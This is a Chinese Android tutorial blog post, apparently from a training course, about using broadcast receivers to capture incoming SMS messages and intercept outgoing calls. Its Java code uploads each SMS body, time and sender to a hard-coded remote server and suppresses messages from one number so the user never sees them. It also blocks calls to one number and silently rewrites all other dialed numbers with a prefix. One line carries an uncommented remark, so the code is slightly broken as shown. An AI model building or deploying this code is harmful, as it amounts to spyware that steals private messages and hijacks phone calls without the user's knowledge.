使用广播接收者获取短信及拦截电话

清单中注册广播接收者

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="cn.itcast.smslistener"
      android:versionCode="1"
      android:versionName="1.0">
    <application android:icon="@drawable/icon" android:label="@string/app_name">
		<receiver android:name=".SMSBroadcastReceiver">                            <!-- 注册短信接收者 -->
			<intent-filter android:priority="1000">
				<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
			</intent-filter>
		</receiver>
		<receiver android:name=".PhoneBroadcastReceiver">                          <!-- 注册电话接受者 -->
			<intent-filter android:priority="1000">
				<action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
			</intent-filter>
		</receiver>
    </application>
    <uses-sdk android:minSdkVersion="8" />
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
<!-- 访问internet权限 -->
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
</manifest> 

获取短信并上传网络,

public class SMSBroadcastReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		Object[] pdus = (Object[]) intent.getExtras().get("pdus");
		for(Object p : pdus){
			byte[] pdu = (byte[]) p;
			SmsMessage message = SmsMessage.createFromPdu(pdu);
			String content = message.getMessageBody();
			Date date = new Date(message.getTimestampMillis());
			SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
			String receiveTime = format.format(date);
			String senderNumber = message.getOriginatingAddress();
			sendSMS(content, receiveTime, senderNumber);
			
			if("5556".equals(senderNumber)){
				abortBroadcast();//终止广播
			}
		}
	}


	private boolean sendSMS(String content, String receiveTime, String senderNumber) {
		try{
			String params = "content="+ URLEncoder.encode(content, "UTF-8")+
				"&receivetime="+ receiveTime+ "&sendernumber="+ senderNumber;
			byte[] entity = params.getBytes();
			String path = "http://192.168.1.100:8080/web/ReceiveSMSServlet";
			HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection();
			conn.setConnectTimeout(5000);
			conn.setRequestMethod("POST");
			conn.setDoOutput(true);
			conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
			conn.setRequestProperty("Content-Length", String.valueOf(entity.length));
			conn.getOutputStream().write(entity);
			if(conn.getResponseCode() == 200){
				return true;
			}
		}catch (Exception e) {
			e.printStackTrace();
		}
		return false;
	}
}

广播接收者有优先级,拨号属于有序广播,即使拦截依然会传给拨号器,所以可以将电话号码设置为空



 因为系统拨号指定了接受者,故广播一定可以传达,abortBoardcast(),没用

public class PhoneBroadcastReceiver extends BroadcastReceiver {
	@Override
	public void onReceive(Context context, Intent intent) {
		String number = getResultData();
		if("5556".equals(number)){
			setResultData(null);   终止广播没用,因为是有序广播
		}else{
			number = "12593"+ number;
			setResultData(number);
		}
	}
}







  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值